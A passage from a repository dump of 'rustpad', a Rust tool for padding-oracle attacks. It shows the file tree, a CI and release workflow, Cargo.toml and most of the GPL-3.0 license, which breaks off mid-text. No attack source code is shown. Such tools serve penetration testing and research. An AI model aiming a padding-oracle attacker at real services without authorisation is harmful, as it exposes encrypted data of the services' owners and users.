├── .github └── workflows │ └── ci.yaml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md ├── assets └── example_run.gif └── src ├── block ├── block_size.rs └── mod.rs ├── cache ├── cache_config.rs └── mod.rs ├── calibrator ├── calibration_response.rs └── mod.rs ├── cli.rs ├── config ├── encoding_option.rs ├── global_config.rs ├── header.rs ├── mod.rs ├── proxy_credentials.rs ├── request_timeout.rs ├── thread_count.rs ├── thread_delay.rs └── user_agent.rs ├── cypher_text ├── encode.rs ├── forged_cypher_text │ ├── mod.rs │ └── solved.rs └── mod.rs ├── divination ├── decryptor.rs ├── encryptor.rs └── mod.rs ├── logging.rs ├── main.rs ├── oracle ├── mod.rs ├── oracle_location.rs ├── script.rs └── web │ ├── calibrate_web.rs │ └── mod.rs ├── other.rs ├── plain_text.rs └── tui ├── layout.rs ├── mod.rs ├── ui_event.rs └── widgets.rs /.github/workflows/ci.yaml: -------------------------------------------------------------------------------- 1 | on: 2 | # Allows running manually from Actions tab 3 | workflow_dispatch: 4 | pull_request: 5 | push: 6 | branches: 7 | - main 8 | tags: 9 | - 'v*.*.*' 10 | 11 | name: Rust CI 12 | 13 | env: 14 | CARGO_TERM_COLOR: always 15 | 16 | jobs: 17 | check: 18 | name: Check 19 | runs-on: ubuntu-latest 20 | steps: 21 | - uses: actions/checkout@v3 22 | - uses: actions-rs/toolchain@v1 23 | with: 24 | profile: minimal 25 | toolchain: stable 26 | override: true 27 | - uses: actions-rs/cargo@v1 28 | with: 29 | command: check 30 | 31 | fmt: 32 | name: Rustfmt 33 | runs-on: ubuntu-latest 34 | steps: 35 | - uses: actions/checkout@v3 36 | - uses: actions-rs/toolchain@v1 37 | with: 38 | profile: minimal 39 | toolchain: stable 40 | override: true 41 | - run: rustup component add rustfmt 42 | - uses: actions-rs/cargo@v1 43 | with: 44 | command: fmt 45 | args: --all -- --check 46 | 47 | clippy: 48 | name: Clippy 49 | runs-on: ubuntu-latest 50 | steps: 51 | - uses: actions/checkout@v3 52 | - uses: actions-rs/toolchain@v1 53 | with: 54 | toolchain: stable 55 | components: clippy 56 | override: true 57 | - uses: actions-rs/clippy-check@v1 58 | with: 59 | token: ${{ secrets.GITHUB_TOKEN }} 60 | args: --all-features 61 | name: Clippy Output 62 | 63 | release: 64 | name: Release ${{ matrix.target }} 65 | needs: [check, fmt, clippy] 66 | env: 67 | PROJECT_NAME_UNDERSCORE: rustpad 68 | if: startsWith(github.ref, 'refs/tags/') 69 | strategy: 70 | matrix: 71 | include: 72 | - name: x64-linux 73 | os: ubuntu-latest 74 | target: x86_64-unknown-linux-gnu 75 | extension: 76 | upx_args: --best --lzma 77 | - name: x64-windows 78 | os: windows-latest 79 | target: x86_64-pc-windows-msvc 80 | extension: .exe 81 | upx_args: -9 82 | runs-on: ${{ matrix.os }} 83 | steps: 84 | - uses: actions/checkout@v3 85 | - uses: actions-rs/toolchain@v1 86 | with: 87 | profile: minimal 88 | toolchain: stable 89 | override: true 90 | - name: Release Build 91 | run: cargo build --release --target ${{ matrix.target }} 92 | - name: 'Compress Binary' 93 | uses: svenstaro/upx-action@v2 94 | with: 95 | files: target/${{ matrix.target }}/release/${{ env.PROJECT_NAME_UNDERSCORE }}${{ matrix.extension }} 96 | args: ${{ matrix.upx_args }} 97 | - name: 'Upload Artifact' 98 | uses: actions/upload-artifact@v3 99 | with: 100 | name: ${{ env.PROJECT_NAME_UNDERSCORE }} 101 | path: target/${{ matrix.target }}/release/${{ env.PROJECT_NAME_UNDERSCORE }}${{ matrix.extension }} 102 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rustpad" 3 | version = "1.8.1" 4 | description = "Multi-threaded Padding Oracle attacks against any service." 5 | authors = ["Csonka Mihaly "] 6 | license = "GPL-3.0" 7 | repository = "https://github.com/Kibouo/rustpad/" 8 | edition = "2021" 9 | 10 | [profile.release] 11 | # cherry-picked size optimisations from https://github.com/johnthagen/min-sized-rust 12 | strip = true 13 | lto = true 14 | codegen-units = 1 15 | 16 | [dependencies] 17 | clap = { version = "3.0", default-features = true, features = ["derive", "wrap_help"] } 18 | clap_complete = "3.0" 19 | reqwest = { version = "0.11", default-features = true, features = ["blocking", "socks"] } 20 | anyhow = "1.0" 21 | base64 = "0.13" 22 | hex = "0.4" 23 | urlencoding = "2.1" 24 | is_executable = "1.0" 25 | rayon = "1.5" 26 | # use crossterm for windows compatibility 27 | tui = { version = "0.16", default-features = false, features = ["crossterm"] } 28 | crossterm = { version = "0.22", default-features = true, features = ["event-stream"] } 29 | getset = "0.1" 30 | crossbeam = "0.8" 31 | tui-logger = "0.6" 32 | log = "0.4" 33 | retry = "1.3" 34 | humantime = "2.1" 35 | itertools = "0.10" 36 | futures = "0.3" 37 | futures-timer = "3.0" 38 | async-std = "1.10" 39 | async-scoped = { version = "0.7", default-features = false, features = ["use-async-std"] } 40 | atty = "0.2" 41 | serde = { version = "1.0", features = ["derive"] } 42 | rmp-serde = "0.15" 43 | dirs = "4.0" -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical 